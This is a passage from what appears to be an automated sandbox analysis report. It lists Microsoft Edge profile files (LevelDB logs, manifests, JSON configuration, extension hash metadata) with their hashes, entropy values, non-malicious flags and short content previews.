Preview:	...m.................DB_VERSION.1.s..q...............&QUERY_TIMESTAMP:domains_config_gz2...13376232095996912..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.1650687226599885
Encrypted:	false
SSDEEP:	6:HUafHYs1923oH+Tcwtk2WwnvB2KLlVUaf3q1yq2P923oH+Tcwtk2WwnvIFUv:PfYBYebkxwnvFL3fq4v4YebkxwnQFUv
MD5:	F901728975C0C4526E94D60DF481E28F
SHA1:	0731B80D141B5EEA8684AD49115B78CEA6963BA3
SHA-256:	F4561B57424C4C29CE551906BB6C958D03FD60810896BED1048F9E91982C93F9
SHA-512:	D87C0CB8E7312DAE7742CD3D9BE6579CC870743CB4E9537BC1FA659E491F8D432381C3D3A8FF020C063132E5F57F22728AF01199CD77E62F78A5A748FAFBA0DA
Malicious:	false
Preview:	2024/11/16-07:01:34.327 2070 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/16-07:01:34.399 2070 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324618491797288
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rc:C1gAg1zfv0
MD5:	20B257BE159B9A6F7C760019559D6FB7
SHA1:	FB68F119486B8B70F26800159FD74DB1C3FDA023
SHA-256:	15BB47050ED676528EF251E11ED40DF273039738C7D07E7182FC25D123CD4C69
SHA-512:	F0CB2152FC008D59D8C9034677AE503F4D10043D40A49D08628A64DA3C311DD3EFA677B03C6225C34C73345C93617522B867FEE9E23961D11B22C8BEBFB53583
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.16583316138394
Encrypted:	false
SSDEEP:	6:HUafXnEjIq2P923oH+Tcwt8aPrqIFUt8YUafXNZmw+YUafX/kwO923oH+Tcwt8a4:P/EMv4YebL3FUt80/N/+0//5LYebQJ
MD5:	D1F7D54F1904839BCD73C3A14F30FD1D
SHA1:	D7CD38F6559CBB09CCEBA7E889AFB78B2DD090F7
SHA-256:	8C7C02ED1F939A78D25A9CC98289F9385B3606229EADA01C2B1260A3063949C1
SHA-512:	4880908A0FFF285AB3945BE276E75BCDBC8B79D2CBDF242083C7A45E2F86CD9D91E1ED8A837AD99AD0C21E0DFF6E16042DCD6777343E4C51CCB691EE363E665A
Malicious:	false
Preview:	2024/11/16-07:01:28.633 1ea4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/16-07:01:28.739 1ea4 Recovering log #3.2024/11/16-07:01:28.739 1ea4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.16583316138394
Encrypted:	false
SSDEEP:	6:HUafXnEjIq2P923oH+Tcwt8aPrqIFUt8YUafXNZmw+YUafX/kwO923oH+Tcwt8a4:P/EMv4YebL3FUt80/N/+0//5LYebQJ
MD5:	D1F7D54F1904839BCD73C3A14F30FD1D
SHA1:	D7CD38F6559CBB09CCEBA7E889AFB78B2DD090F7
SHA-256:	8C7C02ED1F939A78D25A9CC98289F9385B3606229EADA01C2B1260A3063949C1
SHA-512:	4880908A0FFF285AB3945BE276E75BCDBC8B79D2CBDF242083C7A45E2F86CD9D91E1ED8A837AD99AD0C21E0DFF6E16042DCD6777343E4C51CCB691EE363E665A
Malicious:	false
Preview:	2024/11/16-07:01:28.633 1ea4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/16-07:01:28.739 1ea4 Recovering log #3.2024/11/16-07:01:28.739 1ea4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.170020346535418
Encrypted:	false
SSDEEP:	6:HUafX/Iq2P923oH+Tcwt865IFUt8YUafXQ3Zmw+YUafXQlkwO923oH+Tcwt86+Ud:P//Iv4Yeb/WFUt80/O/+0/i5LYeb/+SJ
MD5:	0030D04AD822DD24920085E2D7DCAC6A
SHA1:	E044A4332274A774E02493BB44FF3FEE4FC1FB22
SHA-256:	5556A5DBCE7889254FED8C1A6A3996F57CB8949C69ACB4DDBB868655781FE8F9
SHA-512:	9B483BE33D87B4DD3D5E2C88382DB818DDE038D4EAB8FFE84EF3FBDF23C1B3428AF332836A59217D6290E8F198ED45EE71542F503E0A37A101CC1E2E87310969
Malicious:	false
Preview:	2024/11/16-07:01:28.748 1ea4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/16-07:01:28.749 1ea4 Recovering log #3.2024/11/16-07:01:28.749 1ea4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.170020346535418
Encrypted:	false
SSDEEP:	6:HUafX/Iq2P923oH+Tcwt865IFUt8YUafXQ3Zmw+YUafXQlkwO923oH+Tcwt86+Ud:P//Iv4Yeb/WFUt80/O/+0/i5LYeb/+SJ
MD5:	0030D04AD822DD24920085E2D7DCAC6A
SHA1:	E044A4332274A774E02493BB44FF3FEE4FC1FB22
SHA-256:	5556A5DBCE7889254FED8C1A6A3996F57CB8949C69ACB4DDBB868655781FE8F9
SHA-512:	9B483BE33D87B4DD3D5E2C88382DB818DDE038D4EAB8FFE84EF3FBDF23C1B3428AF332836A59217D6290E8F198ED45EE71542F503E0A37A101CC1E2E87310969
Malicious:	false
Preview:	2024/11/16-07:01:28.748 1ea4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/16-07:01:28.749 1ea4 Recovering log #3.2024/11/16-07:01:28.749 1ea4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.146151133965632
Encrypted:	false
SSDEEP:	6:HUafX8N4q2P923oH+Tcwt8NIFUt8YUafX8NJZmw+YUafXh3DkwO923oH+Tcwt8+Q:P/Nv4YebpFUt80/o/+0/hz5LYebqJ
MD5:	7D2E123A2C6CED40B7BF25B2DB6BFC2A
SHA1:	3E6B7337A196253D76131BB98900E2DB628519C7
SHA-256:	5E6B657DA46376517B420214878B5E036CCA05EC4CDE57A1737CA1593263244A
SHA-512:	36098764351A487351E769B1622726FA7C964DE335E10DB83DB79ECA0B95838BB9550426CADF05352855375A371BC126F1EFF1425C64B89FADAD9B8C6E6DF982
Malicious:	false
Preview:	2024/11/16-07:01:29.394 1e04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/16-07:01:29.394 1e04 Recovering log #3.2024/11/16-07:01:29.395 1e04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.146151133965632
Encrypted:	false
SSDEEP:	6:HUafX8N4q2P923oH+Tcwt8NIFUt8YUafX8NJZmw+YUafXh3DkwO923oH+Tcwt8+Q:P/Nv4YebpFUt80/o/+0/hz5LYebqJ
MD5:	7D2E123A2C6CED40B7BF25B2DB6BFC2A
SHA1:	3E6B7337A196253D76131BB98900E2DB628519C7
SHA-256:	5E6B657DA46376517B420214878B5E036CCA05EC4CDE57A1737CA1593263244A
SHA-512:	36098764351A487351E769B1622726FA7C964DE335E10DB83DB79ECA0B95838BB9550426CADF05352855375A371BC126F1EFF1425C64B89FADAD9B8C6E6DF982
Malicious:	false
Preview:	2024/11/16-07:01:29.394 1e04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/16-07:01:29.394 1e04 Recovering log #3.2024/11/16-07:01:29.395 1e04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21917635620654863
Encrypted:	false
SSDEEP:	3:GF/jtFlljq7A/mhWJFuQ3yy7IOWUAt4dweytllrE9SFcTp4AGbNCV9RUI3:D75fOrd0Xi99pEYJ
MD5:	A80D4AD16F1BDE619FC5B7F6E1850487
SHA1:	3D54C6112F6F1832AD5B5796E272F80CD1C8D527
SHA-256:	C52626B86929D262EBA27C110A68F595298544311A230EDA3B42EFC11B01C2AE
SHA-512:	0DF55215C10685638BD8D27AF01C3CF1FB2197ACABA2011D2DF3F3DF9259F4F4FC8D73797D2CD5CCF77FD8CF68D87640ED81E484D216887EF8F6C1E1EDC4070A
Malicious:	false
Preview:	.............X."...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.648112779288423
Encrypted:	false
SSDEEP:	384:aj9P0ZcAjl+QkQeragam6IfP/Kbtn773pLXRKToaADhf:adLKl+e2NvP/m7JRKc39
MD5:	13BE4396CD3C9E7B33FEEF1D2DFE79A3
SHA1:	4772F468762E0EF94C42B20638BA6D85D1BC1AC2
SHA-256:	18516B2B512B9D01D1479353746E5E4B6D156A1107EB1533CD62FD5E3070ED2B
SHA-512:	F601910559EA78E597238DF2AD7F0EC745B048B5754BF4F14E842CC807763A33345E84FCEA89C17BD23D3604323C08D0E3DAF2549E00CE36DC6704F0E07F6169
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.210107892881638
Encrypted:	false
SSDEEP:	12:Pxv4Yeb8rcHEZrELFUt80jBZ/+0jBz5LYeb8rcHEZrEZSJ:F4Yeb8nZrExg8UHlLYeb8nZrEZe
MD5:	D49C8340BF5109A9EB9596FC6E70FF36
SHA1:	1F61353DC2CD29278C75D04C0E8DD5BAD1438319
SHA-256:	97E07AE2F50F74178133A635389DF2752D223CE8E184F586A4BA5512A7EA74F4
SHA-512:	8CF223C5E7E7DC035168EC43DE895AAEB43051F5F3EC558D568705EAB71B77AD3FA8A69B1E0ED47D79D7EAC933F6FB5FB4CAABBF53C1EEA8F70B7287174BCC1C
Malicious:	false
Preview:	2024/11/16-07:01:34.006 1e04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/16-07:01:34.007 1e04 Recovering log #3.2024/11/16-07:01:34.007 1e04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.210107892881638
Encrypted:	false
SSDEEP:	12:Pxv4Yeb8rcHEZrELFUt80jBZ/+0jBz5LYeb8rcHEZrEZSJ:F4Yeb8nZrExg8UHlLYeb8nZrEZe
MD5:	D49C8340BF5109A9EB9596FC6E70FF36
SHA1:	1F61353DC2CD29278C75D04C0E8DD5BAD1438319
SHA-256:	97E07AE2F50F74178133A635389DF2752D223CE8E184F586A4BA5512A7EA74F4
SHA-512:	8CF223C5E7E7DC035168EC43DE895AAEB43051F5F3EC558D568705EAB71B77AD3FA8A69B1E0ED47D79D7EAC933F6FB5FB4CAABBF53C1EEA8F70B7287174BCC1C
Malicious:	false
Preview:	2024/11/16-07:01:34.006 1e04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/16-07:01:34.007 1e04 Recovering log #3.2024/11/16-07:01:34.007 1e04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	1409
Entropy (8bit):	5.604767488062288
Encrypted:	false
SSDEEP:	24:DtZWmUlH0UzlWnDN5ITF+VVXZLWKiV03y1x4LHfhNKgFHHmQ5da2LoEJsMyG:DtZbdIIM+3XZ6pV03Sx41HHHxda2LoET
MD5:	582513D082DB4BBB181F2244839A424D
SHA1:	B021FEE9E87781FA43FBD398F82405E26ACF948C
SHA-256:	BE51D47AC387BAD789B704ED6FED9E3BE1A8FC3AE923CDFE9669B68AF44021E0
SHA-512:	05EA610E8AFB4DC160A0AB259505B85B65012B362FD5435BA24D3CB5635360B07C1AE1AE43A33DEDDDDA94E7D6EBE7EC94E93CFA4DE773D8CECDA04538680299
Malicious:	false
Preview:	..^.z................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":630}.!_https://ntp.msn.com..LastKnownPV..1731758497354.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731758498807.._https://ntp.msn.com..MUID!.19EE44C5987468FE3EE351FC992369A3.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731758497420,"schedule":[-1,-1,-1,27,-1,18,4],"scheduleFixed":[-1,-1,-1,27,-1,18,4],"simpleSchedule":[40,24,43,30,46,44,39]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731758497306.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241115.411"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.158770791595588
Encrypted:	false
SSDEEP:	6:HUafXuIq2P923oH+Tcwt8a2jMGIFUt8YUafX/Zmw+YUafXduqkwO923oH+Tcwt8N:P/nv4Yeb8EFUt80///+0/0q5LYeb8bJ
MD5:	6215496AEEF0DD3FC366B87819C54E5B
SHA1:	EDC655DA70AA79C400D1E06E325CD2C6489C4306
SHA-256:	67C29288F1925FD30B6AE7BA8CFC9CE17BDBC0923C2463931C157545D94BF738
SHA-512:	E0308D17397948FF4C3021B9D8386E5685BCC6DE009B59060FF6A89C67DB3B5F9463CF01CF82C8591E8957BDCB6355EFFB58E92E7AD9CA696F8CE1771D9A4762
Malicious:	false
Preview:	2024/11/16-07:01:28.917 1cd4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/16-07:01:28.918 1cd4 Recovering log #3.2024/11/16-07:01:28.921 1cd4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.158770791595588
Encrypted:	false
SSDEEP:	6:HUafXuIq2P923oH+Tcwt8a2jMGIFUt8YUafX/Zmw+YUafXduqkwO923oH+Tcwt8N:P/nv4Yeb8EFUt80///+0/0q5LYeb8bJ
MD5:	6215496AEEF0DD3FC366B87819C54E5B
SHA1:	EDC655DA70AA79C400D1E06E325CD2C6489C4306
